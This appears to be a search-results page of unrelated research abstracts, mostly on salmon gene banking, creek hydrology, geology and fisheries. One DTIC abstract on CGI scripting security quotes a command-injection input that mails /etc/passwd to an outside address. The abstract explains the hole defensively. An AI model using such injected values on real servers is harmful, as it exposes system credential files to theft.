Steelhead (Oncorhynchus mykiss) and chinook salmon (Oncorhynchus tshawytscha) populations in the Northwest are decreasing. Genetic diversity is being lost at an alarming rate. Along with reduced population and genetic variability, the loss of biodiversity means a diminished environmental adaptability. The Nez Perce Tribe (Tribe) strives to ensure availability of genetic samples of the existing male salmonid population by establishing and maintaining a germplasm repository. The sampling strategy, initiated in 1992, has been to collect and preserve male salmon and steelhead genetic diversity across the geographic landscape by sampling within the major river subbasins in the Snake River basin, assuming amore » metapopulation structure existed historically. Gamete cryopreservation conserves genetic diversity in a germplasm repository, but is not a recovery action for listed fish species. The Tribe was funded in 2001 by the Bonneville Power Administration (BPA) and the U.S. Fish and Wildlife Service Lower Snake River Compensation Plan (LSRCP) to coordinate gene banking of male gametes from Endangered Species Act (ESA) listed steelhead and spring and summer chinook salmon in the Snake River basin. In 2001, a total of 398 viable chinook salmon semen samples from the Lostine River, Catherine Creek, upper Grande Ronde River, Lookingglass Hatchery (Imnaha River stock), Lake Creek, the South Fork Salmon River weir, Johnson Creek, Big Creek, Capehorn Creek, Marsh Creek, Pahsimeroi Hatchery, and Sawtooth Hatchery (upper Salmon River stock) were cryopreserved. Also, 295 samples of male steelhead gametes from Dworshak Hatchery, Fish Creek, Grande Ronde River, Little Sheep Creek, Pahsimeroi Hatchery and Oxbow Hatchery were also cryopreserved. The Grande Ronde chinook salmon captive broodstock program stores 680 cryopreserved samples at the University of Idaho as a long-term archive, half of the total samples. A total of 3,206 cryopreserved samples from Snake River basin steelhead and spring and summer chinook salmon, from 1992 through 2001, are stored in two independent locations at the University of Idaho (UI) and Washington State University (WSU). Two large freezer tanks are located at each university. Recommendations for future gene banking efforts include the need for establishment of a regional genome resource bank, an emphasis on cryopreserving wild unmarked fish, continued fertility trials, and genetic analysis on all fish represented in the germplasm repository.« less

Encapsulating Moral Dilemma through Short Story: Challenging Pre-Service Teachers to Critically Think about the Student/Teacher Personality and Leadership Dynamic

ERIC Educational Resources Information Center

Lennon, Sean M.

2007-01-01

Pre-service teachers and education students in three different classes (N = 53) were directed to read a short story by Mark Twain titled "Heaven or Hell?" written within a compilation of short stories late in his career. The story, "Heaven or Hell?" illustrates a koan, or an unanswerable moral or ethical dilemma. The students,…

"A Heaven of Hell, a Hell of Heaven": "His Dark Materials," Inverted Theology, and the End of Philip Pullman's Authority

ERIC Educational Resources Information Center

Padley, Jonathan; Padley, Kenneth

2006-01-01

This article argues that Philip Pullman's "His Dark Materials" may be read as a series which attempts to assault the Christian doctrine of God. We believe that this demonstrably accords with Pullman's personal views, and that, through his story, he seeks to foster such views in his readership. However, the accuracy of his attack falls short of its…

Effects of Abandoned Coal-Mine Drainage on Streamflow and Water Quality in the Shamokin Creek Basin, Northumberland and Columbia Counties, Pennsylvania, 1999-2001

USGS Publications Warehouse

Cravotta,, Charles A.; Kirby, Carl S.

2003-01-01

This report assesses the contaminant loading, effects to receiving streams, and possible remedial alternatives for abandoned mine drainage (AMD) within the upper Shamokin Creek Basin in east-central Pennsylvania. The upper Shamokin Creek Basin encompasses an area of 54 square miles (140 square kilometers) within the Western Middle Anthracite Field, including and upstream of the city of Shamokin. Elevated concentrations of acidity, metals, and sulfate in the AMD from flooded underground anthracite coal mines and (or) unreclaimed culm (waste rock) piles degrade the aquatic ecosystem and water quality of Shamokin Creek to its mouth and along many of its tributaries within the upper basin. Despite dilution by unpolluted streams that more than doubles the streamflow of Shamokin Creek in the lower basin, AMD contamination and ecological impairment persist to its mouth on the Susquehanna River at Sunbury, 20 miles (32 kilometers) downstream from the mined area. Aquatic ecological surveys were conducted by the U.S. Geological Survey (USGS) in cooperation with Bucknell University (BU) and the Northumberland County Conservation District (NCCD) at six stream sites in October 1999 and repeated in 2000 and 2001 on Shamokin Creek below Shamokin and at Sunbury. In 1999, fish were absent from Quaker Run and Shamokin Creek upstream of its confluence with Carbon Run; however, creek chub (Semotilus atromaculatus) were present within three sampled reaches of Carbon Run. During 1999, 2000, and 2001, six or more species of fish were identified in Shamokin Creek below Shamokin and at Sunbury despite elevated concentrations of dissolved iron and ironencrusted streambeds at these sites. Data on the flow rate and chemistry for 46 AMD sources and 22 stream sites throughout the upper basin plus 1 stream site at Sunbury were collected by the USGS with assistance from BU and the Shamokin Creek Restoration Alliance (SCRA) during low base-flow conditions in August 1999 and high baseflow conditions in March 2000. The water-quality data were used to determine priority ranks of the AMD sources on the basis of loadings of iron, manganese, and aluminum and to identify possible remedial alternatives, including passive-treatment options, for consideration by water-resource managers. The ranking sequence for the top AMD sources based on the high base-flow data generally matched that based on the low base-flow data. The contaminant loadings generally increased with flow, and 10 previously identified intermittent AMD sources were not discharging during the low base-flow sampling period. The top 3 AMD sources (SR19, SR12, and SR49) on the basis of dissolved metals loading in March 2000 accounted for more than 50 percent of the metals loading to Shamokin Creek, whereas the top 15 AMD sources accounted for more than 98 percent of the metals loading. When sampled in March 2000, these AMD sources had flow rates ranging from 0.7 to 19 cubic feet per second (1,138 to 32,285 liters per minute) and pH from 3.5 to 6.1 standard units. Only 1 of the top 15 AMD sources (SR21) was net alkaline (alkalinity > acidity); the others were net acidic and will require additional alkalinity to facilitate metals removal and maintain near-neutral pH. For the top 15 AMD sources, dissolved iron was the principal source of acidity and metals loading; concentrations of iron ranged from 10 to 57 milligrams per liter. Dissolved manganese ranged from 1.9 to 7.4 milligrams per liter. Dissolved aluminum exceeded 3.9 milligrams per liter at seven of the sites but was less than 0.2 milligram per liter at seven others. Alkalinity can be acquired by the dissolution of limestone and (or) bacterial sulfate reduction within various passive-treatment systems including anoxic or oxic limestone drains, limestone- lined channels, or compost wetlands. Subsequently, the gradual oxidation and consequent precipitation of iron and manganese can be accommodated within settling ponds or aerobic wetlands. Assum

Preliminary assessment of channel stability and bed-material transport along Hunter Creek, southwestern Oregon

USGS Publications Warehouse

Jones, Krista L.; Wallick, J. Rose; O'Connor, Jim E.; Keith, Mackenzie K.; Mangano, Joseph F.; Risley, John C.

2011-01-01

This preliminary assessment of (1) bed-material transport in the Hunter Creek basin, (2) historical changes in channel condition, and (3) supplementary data needed to inform permitting decisions regarding instream gravel extraction revealed the following: Along the lower 12.4 km (kilometers) of Hunter Creek from its confluence with the Little South Fork Hunter Creek to its mouth, the river has confined and unconfined segments and is predominately alluvial in its lowermost 11 km. This 12.4-km stretch of river can be divided into two geomorphically distinct study reaches based primarily on valley physiography. In the Upper Study Reach (river kilometer [RKM] 12.4-6), the active channel comprises a mixed bed of bedrock, boulders, and smaller grains. The stream is confined in the upper 1.4 km of the reach by a bedrock canyon and in the lower 2.4 km by its valley. In the Lower Study Reach (RKM 6-0), where the area of gravel bars historically was largest, the stream flows over bed material that is predominately alluvial sediments. The channel alternates between confined and unconfined segments. The primary human activities that likely have affected bed-material transport and the extent and area of gravel bars are (1) historical and ongoing aggregate extraction from gravel bars in the study area and (2) timber harvest and associated road construction throughout the basin. These anthropogenic activities likely have varying effects on sediment transport and deposition throughout the study area and over time. Although assessing the relative effects of these anthropogenic activities on sediment dynamics would be challenging, the Hunter Creek basin may serve as a case study for such an assessment because it is mostly free of other alterations to hydrologic and geomorphic processes such as flow regulation, dredging, and other navigation improvements that are common in many Oregon coastal basins. Several datasets are available that may support a more detailed physical assessment of Hunter Creek. The entire study area has been captured in aerial photographs at least once per decade since the 1940s. This temporally rich photograph dataset would support quantitative analyses of changes in channel planform as well as vegetation cover. Light Detection And Ranging (LiDAR) data collected in 2008 would facilitate hydraulic and sediment-transport modeling and characterization of bar elevations throughout most of the study area. Few studies describing channel morphology and sediment transport exist for the Hunter Creek basin. The most detailed study reported channel incision and bank instability as well as the loss of point bars and pools in the lower 3.9 km of Hunter Creek from slightly downstream of its confluence with Yorke Creek to its mouth (EA Engineering, Sci-ence, and Technology, 1998). Repeat channel cross-sections collected from 1994 to 2010 at four bridges indicate that Hunter Creek is dynamic and subject to channel shifting, aggradation, and incision. Despite this dynamism, the channel at three bridge crossings showed little net change in thalweg elevation during this period. However, the channel thalweg aggraded 0.55 m from 2004 to 2008 near the bridge at RKM 3.5. Systematic delineation of gravel bars from aerial photographs collected in 1940, 1965, 2005, and 2009 indicates a 52-percent reduction in the area of bed-material sediment throughout the study area from 1940 to 2009. Net bar loss was greatest in the Lower Study Reach from RKM 1-4 and mainly is associ-ated with the encroachment of vegetation onto upper-bar surfaces lacking apparent vegetation in 1940. Bar-surface material was approximately equal in size to bar-subsurface material at Conn Creek Bar, whereas it was distinctly coarser than the subsurface material at Menasha Bar. Armoring ratios, which indicate the coarseness of the bar surface relative to the bar subsurface, were calculated as 0.97 for Conn Creek Bar and 1.5 for Menasha Bar. These ratios tentatively show that

8. DETAIL OF COLUMBIA BRIDGE WORKS, DAYTON, OH SIGN IN ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

8. DETAIL OF COLUMBIA BRIDGE WORKS, DAYTON, OH SIGN IN WROUGHT IRON ON PORTAL. - Peevy Road Bridge, Peevy Road spanning Perkiomen Creek in Upper Hanover Township, East Greenville, Montgomery County, PA

Dating the upper Cenozoic sediments in Fisher Valley, southeastern Utah ( USA).

USGS Publications Warehouse

Colman, Steven M.; Choquette, Anne F.; Rosholt, J.M.; Miller, G.H.; Huntley, D.J.

1986-01-01

More than 140 m of upper Cenozoic basin-fill sediments were deposited and then deformed in Fisher Valley between about 2.5 and 0.25 m.y. ago, in response to uplift of the adjacent Onion Creek salt diapir. In addition to these basin-fill sediments, minor amounts of eolian and fluvial sand were depositd in Holocene time. The sediments, whose relative ages are known from the stratigraphy, are predominantly sandy, second-cycle red beds derived from nearby Mesozoic rocks; most were deposited in a vertical sequence, filling a sedimentary basin now exposed by fluvial dissection. We have applied a variety of established and experimental dating methods to the sediments in Fisher Valley to establish their age and to provide time control for the recent history of the Onion Creek salt diapir.-from Authors

Effect of brook trout removal from a spawning stream on an adfluvial population of Lahontan cutthroat trout

USGS Publications Warehouse

Scoppettone, G. Gary; Rissler, Peter H.; Shea, Sean P.; Somer, William

2012-01-01

Independence Lake (Nevada and Sierra counties, California) harbors the only extant native population of Lahontan cutthroat trout Oncorhynchus clarkii henshawi in the Truckee River system and one of two extant adfluvial populations in the Lahontan basin. The persistence of this population has been precarious for more than 50 years, with spawning runs consisting of only 30–150 fish. It is assumed that this population was much larger prior to the introduction of nonnative brook trout Salvelinus fontinalis. Brook trout overlap with cutthroat trout in upper Independence Creek, where the cutthroat trout spawn and their resulting progeny emigrate to Independence Lake. In 2005, we began removing brook trout from upper Independence Creek using electrofishers and monitored the cutthroat trout population. Stomach analysis of captured brook trout revealed cutthroat trout fry, and cutthroat trout fry survival increased significantly from 4% to 12% with brook trout removal. Prior to brook trout removal, the only Lahontan cutthroat trout progeny emigrating to Independence Lake were fry; with brook trout removal, juveniles were found entering the lake. In 2010, 237 potential spawners passed a prefabricated weir upstream of Independence Lake. Although the results of this study suggest that brook trout removal from upper Independence Creek has had a positive influence on the population dynamics of Independence Lake Lahontan cutthroat trout, additional years of removal are needed to assess the ultimate effect this action will have upon the cutthroat trout population.

Hydrogeology of the Canal Creek area, Aberdeen Proving Ground, Maryland

USGS Publications Warehouse

Oliveros, J.P.; Vroblesky, D.A.

1989-01-01

Geologic and borehole geophysical logs made at 77 sites show that the hydrogeologic framework of the study area consists of a sequence of unconsolidated sediments typical of the Coastal Plain of Maryland. Three aquifers and two confining units were delineated within the study area. From the surface down, they are: (1) the surficial aquifer; (2) the upper confining unit; (3) the Canal Creek aquifer; (4) the lower confining unit; and (5) the lower confined aquifer. The aquifer materials range from fine sand to coarse sand and gravel. Clay lenses were commonly found interfingered with the sand, isolating parts of the aquifers. All the units are continuous throughout the study area except for the upper confining unit, which crops out within the study area but is absent in updip outcrops. The unit also is absent within a Pleistocene paleochannel, where it has been eroded. The surficial and Canal Creek aquifers are hydraulically connected where the upper confining unit is absent, and a substantial amount of groundwater may flow between the two aquifers. Currently, no pumping stresses are known to affect the aquifers within the study area. Under current conditions, downward vertical hydraulic gradients prevail at topographic highs, and upward gradients typically prevail near surface-water bodies. Regionally, the direction of groundwater flow in the confined aquifers is to the east and southeast. Significant water level fluctuations correspond with seasonal variations in rainfall, and minor daily fluctuations reflect tidal cycles. (USGS)

Groundwater flow cycling between a submarine spring and an inland fresh water spring

USGS Publications Warehouse

Davis, J. Hal; Verdi, Richard

2014-01-01

Spring Creek Springs and Wakulla Springs are large first magnitude springs that derive water from the Upper Floridan Aquifer. The submarine Spring Creek Springs are located in a marine estuary and Wakulla Springs are located 18 km inland. Wakulla Springs has had a consistent increase in flow from the 1930s to the present. This increase is probably due to the rising sea level, which puts additional pressure head on the submarine Spring Creek Springs, reducing its fresh water flow and increasing flows in Wakulla Springs. To improve understanding of the complex relations between these springs, flow and salinity data were collected from June 25, 2007 to June 30, 2010. The flow in Spring Creek Springs was most sensitive to rainfall and salt water intrusion, and the flow in Wakulla Springs was most sensitive to rainfall and the flow in Spring Creek Springs. Flows from the springs were found to be connected, and composed of three repeating phases in a karst spring flow cycle: Phase 1 occurred during low rainfall periods and was characterized by salt water backflow into the Spring Creek Springs caves. The higher density salt water blocked fresh water flow and resulted in a higher equivalent fresh water head in Spring Creek Springs than in Wakulla Springs. The blocked fresh water was diverted to Wakulla Springs, approximately doubling its flow. Phase 2 occurred when heavy rainfall resulted in temporarily high creek flows to nearby sinkholes that purged the salt water from the Spring Creek Springs caves. Phase 3 occurred after streams returned to base flow. The Spring Creek Springs caves retained a lower equivalent fresh water head than Wakulla Springs, causing them to flow large amounts of fresh water while Wakulla Springs flow was reduced by about half.

Random versus fixed-site sampling when monitoring relative abundance of fishes in headwater streams of the upper Colorado River basin

USGS Publications Warehouse

Quist, M.C.; Gerow, K.G.; Bower, M.R.; Hubert, W.A.

2006-01-01

Native fishes of the upper Colorado River basin (UCRB) have declined in distribution and abundance due to habitat degradation and interactions with normative fishes. Consequently, monitoring populations of both native and nonnative fishes is important for conservation of native species. We used data collected from Muddy Creek, Wyoming (2003-2004), to compare sample size estimates using a random and a fixed-site sampling design to monitor changes in catch per unit effort (CPUE) of native bluehead suckers Catostomus discobolus, flannelmouth suckers C. latipinnis, roundtail chub Gila robusta, and speckled dace Rhinichthys osculus, as well as nonnative creek chub Semotilus atromaculatus and white suckers C. commersonii. When one-pass backpack electrofishing was used, detection of 10% or 25% changes in CPUE (fish/100 m) at 60% statistical power required 50-1,000 randomly sampled reaches among species regardless of sampling design. However, use of a fixed-site sampling design with 25-50 reaches greatly enhanced the ability to detect changes in CPUE. The addition of seining did not appreciably reduce required effort. When detection of 25-50% changes in CPUE of native and nonnative fishes is acceptable, we recommend establishment of 25-50 fixed reaches sampled by one-pass electrofishing in Muddy Creek. Because Muddy Creek has habitat and fish assemblages characteristic of other headwater streams in the UCRB, our results are likely to apply to many other streams in the basin. ?? Copyright by the American Fisheries Society 2006.

77 FR 24947 - Cedar Creek Hydro, LLC; Notice of Preliminary Permit Application Accepted for Filing and...

Federal Register 2010, 2011, 2012, 2013, 2014

2012-04-26

... consist of: (1) A 60- foot-high, 12,700-foot-long earth embankment upper dam; (2) an upper reservoir with... with a total capacity of 660.0 megawatts; (5) a 140- foot-high, 1,600-foot-long earth embankment lower... system at http://www.ferc.gov/docs-filing/ecomment.asp . You must include your name and contact...

Use of a mangrove estuary as a nursery area by postlarval and juvenile banana prawns, Penaeus merguiensis de Man, in Northern Australia

NASA Astrophysics Data System (ADS)

Vance, D. J.; Haywood, M. D. E.; Staples, D. J.

1990-11-01

In the Embley River, Gulf of Carpentaria, Australia, the largest catches of the commercially important banana prawns, Penaeus merguiensis, were made on mangrove-lined, steeply sloping mud banks. The upstream limit of distribution of P. merguiensis was found to coincide with the distribution of broad bands of fringing mangrove forests but, except in the wet season, was not related to salinity levels. Although some postlarval P. merguiensis settled on all habitat types in the estuary, large catches were only taken on the mangrove-lined banks. Catches of both postlarvae and juveniles in the upstream reaches of a small creek were almost five times higher than those in the river near the creek mouth. Moreover, prawns in the 2 to 4 mm carapace length (CL) size class were poorly represented in the river but were abundant in catches in the small creek. This suggests that either the survival rate of postlarvae is highest in the upper reaches of the small creeks, or that the small prawns are migrating from the main river into the creek. As prawns increase in size above 5 mm CL it appears that they take part in daily tidal migrations from small creeks to the river and begin a gradual migration from the creeks to the river.

The notion of climate-driven strath-terrace production assessed via dissimilar stream-process response to late Quaternary climate

USGS Publications Warehouse

García, Antonio F.; Mahan, Shannon

2014-01-01

Previous research results from the Gabilan Mesa are combined with new optically stimulated luminescence (OSL) age estimates and sedimentological analyses with the aim of identifying factors that inhibit climate-driven strath-terrace production, and factors that make possible strath-terrace production independent of climate forcing. The factors are revealed by comparing the morphostratigraphy and OSL age estimates of terraces in the adjacent San Lorenzo Creek and Pancho Rico Creek drainage basins of the central California Coast Ranges. OSL age estimates on San Lorenzo Creek fill-terrace alluvium overlying bedrock at two paleofluvial levels range between 50.5 and 41.3 ka and between 33.4 and 18.2 ka. These OSL age estimates indicate that although the channel of Pancho Rico Creek was degrading at these times, San Lorenzo Creek aggradation was synchronous with previously documented regional, climatically driven aggradation that elsewhere in southern California led to strath production and alluvial deposition. The regional-scale climate forcing events had different effects on San Lorenzo and Pancho Rico Creeks because of the influences of drainage-basin lithology on bedload size and tectonic tilting direction on base-level fall. The Holocene history of channel denudation and strath production of Pancho Rico Creek is also different from that of San Lorenzo Creek, and different from that of many other streams in southern California. After Pancho Rico Creek captured the upper part of the drainage basin of San Lorenzo Creek sometime after 15.5 to 11.7 ka, Pancho Rico Creek has been producing unpaired, erosional strath terraces. The weak, clay rich, fine-grained sedimentary rock underlying Pancho Rico Valley is an ideal substrate in which to form straths. The meandering channel of Pancho Rico Creek produces straths, and weathering resistant, relatively hard bedload introduced by stream capture ensures their preservation as strath terraces.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Kayzar, Theresa M.; Villa, Adam C.; Lobaugh, Megan L.

The uranium concentrations and isotopic compositions of waters, sediment leachates and sediments from Red Rock Creek in the Stanislaus National Forest of California were measured to investigate the transport of uranium from a point source (the Juniper Uranium Mine) to a natural surface stream environment. Furthermore, we alter the (234U)/(238U) composition of Red Rock Creek downstream of the Juniper Mine. As a result of mine-derived contamination, water (234U)/(238U) ratios are 67% lower than in water upstream of the mine (1.114–1.127 ± 0.009 in the contaminated waters versus 1.676 in the clean branch of the stream), and sediment samples have activitymore » ratios in equilibrium in the clean creek and out of equilibrium in the contaminated creek (1.041–1.102 ± 0.007). Uranium concentrations in water, sediment and sediment leachates are highest downstream of the mine, but decrease rapidly after mixing with the clean branch of the stream. Uranium content and compositions of the contaminated creek headwaters relative to the mine tailings of the Juniper Mine suggest that uranium has been weathered from the mine and deposited in the creek. The distribution of uranium between sediment surfaces (leachable fraction) and bulk sediment suggests that adsorption is a key element of transfer along the creek. In clean creek samples, uranium is concentrated in the sediment residues, whereas in the contaminated creek, uranium is concentrated on the sediment surfaces (~70–80% of uranium in leachable fraction). Furthermore, contamination only exceeds the EPA maximum contaminant level (MCL) for drinking water in the sample with the closest proximity to the mine. Isotopic characterization of the uranium in this system coupled with concentration measurements suggest that the current state of contamination in Red Rock Creek is best described by mixing between the clean creek and contaminated upper branch of Red Rock Creek rather than mixing directly with mine sediment.« less

Paleomagnetic Constraints on Terrane Translation: the Churn Creek Succession in South Central British Columbia

NASA Astrophysics Data System (ADS)

Mahoney, J. B.; Enkin, R. J.; Haskin, M.

2001-12-01

A fundamental controversy in Cordilleran tectonics concerns the timing and magnitude of terrane displacement in the Cretaceous to Tertiary evolution of the North American continental margin. Paleomagnetic data from stratified and plutonic rocks in the Canadian Cordillera suggest large-scale northward translation of these rocks relative to the North American craton between ca. 90-55 Ma. Previous paleomagnetic interpretation predicted the existence of a major fault separating the Intermontane Superterrane, which was displaced ~1000 km northward during this period, from the Insular Superterrane, which was displaced ~3000 km northward during the same time interval. Geologic data, including structural, stratigraphic and sedimentologic studies, suggest less than a few hundred km motion between the superterranes, and less than 1000 km with respect to the craton. The conflicting data sets have generated intense debate between proponents of two fundamentally opposed tectonic models, one proposing major latitudinal displacement during Late Cretaceous to Eocene time, and one arguing for terrane accretion at or slightly south of the present latitude in mid-Cretaceous time. Stratigraphic and paleomagnetic data from Churn Creek, in south-central British Columbia document widely disparate terrane displacement values within a single stratigraphic section. Upper Cretaceous strata exposed in Churn Creek comprise two rock packages: a lower package of Albian volcanic and minor volcaniclastic rocks, and a disconformably overlying upper package of Albian to Santonian polymict conglomerate and associated clastic strata. Paleomagnetic data suggest the lower package formed 700 +/- 600 km to the south of its present position at ~100-105 Ma, tying it to other Intermontane Superterrane results. The disconformably overlying upper package was deposited 3000 +/- 450 km to the south at between ~92-83 Ma, confirming the important Mount Tatlow result for the Insular Superterrane. Thus we demonstrate that there can be no "Baja BC fault" separating the Insular and Intermontane superterranes within this region. The large magnitude multi-stage 'yo-yo' translation required by these geophysical data are complex and geologically unreasonable under our current understanding of Late Cretaceous terrane displacement and oceanic plate trajectories. This is an important conclusion, as the Churn Creek data set is a microcosm of the Baja BC controversy, independent of disagreements about the validity of terrane linkages or other geologic data. If one assumes that the 'yo-yo' tectonics required by the Churn Creek data set are implausible, then one is forced to investigate other potential explanations for the observed data. Solutions to the conundrum may potentially exist in: 1) effect of differential compaction shallowing between the upper and lower packages in Churn Creek 2) the inevitability of initial dip in stratigraphic successions 3) the reliability of the Late Cretaceous reference pole 4) concordance of problematic paleomagnetic data with the Late Cretaceous Long Normal SuperChron 5) a rapid polar wander (TPW) episode in the Late Cretaceous 6) the hot spot reference frame, used to reconstruct Mesozoic plate motions, is inaccurate, and our understanding ocean plate trajectories is incomplete.

76 FR 71936 - Upper Deckers Creek Watershed, Preston County, WV

Federal Register 2010, 2011, 2012, 2013, 2014

2011-11-21

.... Alternatives under consideration include the addition of rural raw water supply as a project purpose and increasing the reservoir volume, evaluating other raw water supply sources, raising the top of the dam...

77 FR 63850 - Rate Adjustments for Indian Irrigation Projects

Federal Register 2010, 2011, 2012, 2013, 2014

2012-10-17

... the reliable operation of the irrigation facility infrastructure; (h) Maintenance of a vehicle and... Willow Creek O&M (includes Agency, Lodge Grass 1, Lodge Grass 2, Reno, Upper Little Horn, and Forty Mile...

8. VIEW TO NORTH OF INTERIOR OF STAMPMILLING LEVEL; MORTAR ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

8. VIEW TO NORTH OF INTERIOR OF STAMPMILLING LEVEL; MORTAR MOUNT FOR MILL IS IMMEDIATELY BELOW AND TO LEFT OF ORE-HOPPER (UPPER-CENTER). - Steamboat Stampmill, Brush Creek Canyon, Jacksonville, Jackson County, OR

Paleogeographic implications of an erosional remnant of Paleogene rocks southwest of the Sur-Nacimiento Fault Zone, southern Coast Ranges, California

USGS Publications Warehouse

Vedder, J.G.; McLean, H.; Stanley, R.G.; Wiley, T.J.

1991-01-01

A small tract of heretofore-unrecognized Paleogene rocks lies about 30 km northeast of Santa Maria and 1 km southwest of the Sur-Nacimiento fault zone near upper Pine Creek. This poorly exposed assemblage of rocks is less than 50 m thick, lies unconformably on regionally distributed Upper Cretaceous submarine-fan deposits, and consists of three units: fossiliferous lower Eocene mudstone, Oligocene(?) conglomerate, and basaltic andesite that has a radiometric age of 26.6 ?? 0.5 Ma. Both the sedimentary and igneous constituents in the Paleogene sequence are unlike those of known sequences on either side of the Sur-Nacimiento fault zone. The Paleogene sedimentary rocks near upper Pine Creek presumably are remnants of formerly widespread early Eocene bathyal deposits and locally distributed Oligocene(?) fluvial deposits southwest of the fault zone. The 26.6 Ma basaltic andesite, however, may not have extended much beyond its present outcrops. An episode of Oligocene(?) displacement is required by the contrast in thicknesses, depositional patterns, and paleobathymetry of the juxtaposed rock sequences. -from Authors

The Jurassic section along McElmo Canyon in southwestern Colorado

USGS Publications Warehouse

O'Sullivan, Robert B.

1997-01-01

In McElmo Canyon, Jurassic rocks are 1500-1600 ft thick. Lower Jurassic rocks of the Glen Canyon Group include (in ascending order) Wingate Sandstone, Kayenta Formation and Navajo Sandstone. Middle Jurassic rocks are represented by the San Rafael Group, which includes the Entrada Sandstone and overlying Wanakah Formation. Upper Jurassic rocks comprise the Junction Creek Sandstone overlain by the Morrison Formation. The Burro Canyon Formation, generally considered to be Lower Cretaceous, may be Late Jurassic in the McElmo Canyon area and is discussed with the Jurassic. The Upper Triassic Chinle Formation in the subsurface underlies, and the Upper Cretaceous Dakota Sandstone overlies, the Jurassic section. An unconformity is present at the base of the Glen Canyon Group (J-0), at the base of the San Rafael Group (J-2), and at the base of the Junction Creek Sandstone (J-5). Another unconformity of Cretaceous age is at the base of the Dakota Sandstone. Most of the Jurassic rocks consist of fluviatile, lacustrine and eolian deposits. The basal part of the Entrada Sandstone and the Wanakah Formation may be of marginal marine origin.

Inquiry Response Security Issues with CGI Scripting and JAVA Implementations

DTIC Science & Technology

1998-03-26

that looks like this? nobody@nowhere.com;mail badguys@hell.orgc/etc/ passwd ; Now the open0 statement will evaluate the following command: /usr/lib...sendmail nobody@nowhere.com; mail badguys@hell.orgdetc/ passwd Unintentionally, open0 has mailed the contents of the system password file to the remote...functions outside of the script. For example, the following URL requests a copy of /etc/ passwd from the server machine: http://www.odci.gov/cgi-bin

Biotechnology patent challenged: ex-colleague seeks share of the credit.

PubMed

Budiansky, Stephen

1982-11-25

Dr. Robert Helling, supported by the University of Michigan, has decided to press a claim to co-ownership of two Cohen-Boyer genetic engineering patents assigned to Stanford and the University of California. This decision will likely delay further the issuing of the second patent, tentatively rejected by the Patent Office in part on the basis of Helling's unresolved role. It may also increase pressure for a re-examination of the first patent issued in 1980.

Protect and Restore Mill Creek Watershed; Annual Report 2002-2003.

DOE Office of Scientific and Technical Information (OSTI.GOV)

McRoberts, Heidi

2004-01-01

The Nez Perce Tribe Department of Fisheries Resource Management, Watershed Division approaches watershed restoration with a ridge-top to ridge-top approach. Watershed restoration projects within the Mill Creek watershed are coordinated with the Nez Perce National Forest. The Nez Perce Tribe began watershed restoration projects within the Mill Creek watershed of the South Fork Clearwater River in 2000. Progress has been made in restoring the watershed through excluding cattle from critical riparian areas through fencing. During the FY 2002, trees were planted in riparian areas in the meadow of the upper watershed. In addition, a complete inventory of culverts at road-streammore » crossings was completed. Culverts have been prioritized for replacement to accommodate fish passage throughout the watershed. Maintenance to the previously built fence was also completed.« less

Government Draw Bentonite Beds: a newly identified stratigraphic marker in the Virgin Creek Member of the Pierre Shale, central South Dakota ( USA).

USGS Publications Warehouse

Nichols, T.C.; Chleborad, A.F.; Collins, D.S.

1987-01-01

A grouping of four bentonite beds, herein named the Government Draw Bentonite Beds, is identified as a stratigraphic marker within the Virgin Creek Member of the Pierre Shale. The beds are found west of Pierre, South Dakota, over an area of at least 130 mi2 (210 km2) where no other markers within the Virgin Creek Member have been identified. In this area, the Government Draw is a potential tool needed to determine the stratigraphic and structural relationships within the upper part of the Pierre Shale, heretofore little known. A better understanding of structural elements found in the Pierre Shale is needed to unravel the Late Cretaceous and younger geologic history of the area. -Authors

Boulder Creek: A stream ecosystem in an urban landscape

USGS Publications Warehouse

Verplanck, Philip L.; Murphy, Sheila F.; Birkeland, Peter W.; Pitlick,; Barber, Larry B.; Schmidt, Travis S.; Raynolds, Robert G.H.

2008-01-01

The Boulder Creek Watershed, within the Front Range region of Colorado, is typical of many western watersheds because it is composed of a high-gradient upper reach mostly fed by snowmelt, a substantial change in gradient at the range front, and an urban corridor within the lower gradient section. A stream ecosystem within an urban landscape not only can provide water for municipal, industrial, and agricultural needs, but also can be utilized for recreation, esthetic enjoyment, and wastewater disposal. The purpose of this 26 km bicycle field trip is to explore the hydrology and geochemistry of Boulder and South Boulder Creeks and to discuss topics including flood frequency and hazards, aqueous geochemistry of the watershed, and potential impacts of invasive species and emerging contaminants on stream ecology.

DETAIL VIEW OF SINGLE PANEL POINTS TAKEN FROM BRIDGE DECK, ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

DETAIL VIEW OF SINGLE PANEL POINTS TAKEN FROM BRIDGE DECK, SHOWING CONNECTION BETWEEN VERTICAL AND UPPER CHORD MEMBER - White Bowstring Arch Truss Bridge, Spanning Yellow Creek at Cemetery Drive (Riverside Drive), Poland, Mahoning County, OH

Proposed modifications to the RCRA post-closure permit for the Upper East Fork Poplar Creek Hydrogeologic Regime at the U.S. Department of Energy Y-12 Plant, Oak Ridge, Tennessee

DOE Office of Scientific and Technical Information (OSTI.GOV)

NONE

1997-05-01

This report presents proposed modifications to the Resource Conservation and Recovery Act (RCRA) Post-Closure Permit (PCP) for the Upper East Fork Poplar Creek Hydrogeologic Regime (permit number TNHW-088, EPA ID No. TN3 89 009 0001). The modifications are proposed to: (1) revise the current text for two of the Permit Conditions included in Permit Section II - General Facility Conditions, and (2) update the PCP with revised versions of the Y-12 Plant Groundwater Protection Program (GWPP) technical field procedures included in several of the Permit Attachments. The updated field procedures and editorial revisions are Class 1 permit modifications, as specifiedmore » in Title 40, Code of Federal Regulations (CFR) {section}270.42; Appendix I - Classification of Permit Modifications. These modifications are summarized below.« less

Long-term trends in naturalized rainbow trout (Oncorhynchus mykiss) populations in the upper Esopus Creek, Ulster County, New York, 2009–15

USGS Publications Warehouse

George, Scott D.; Baldigo, Barry P.

2016-05-13

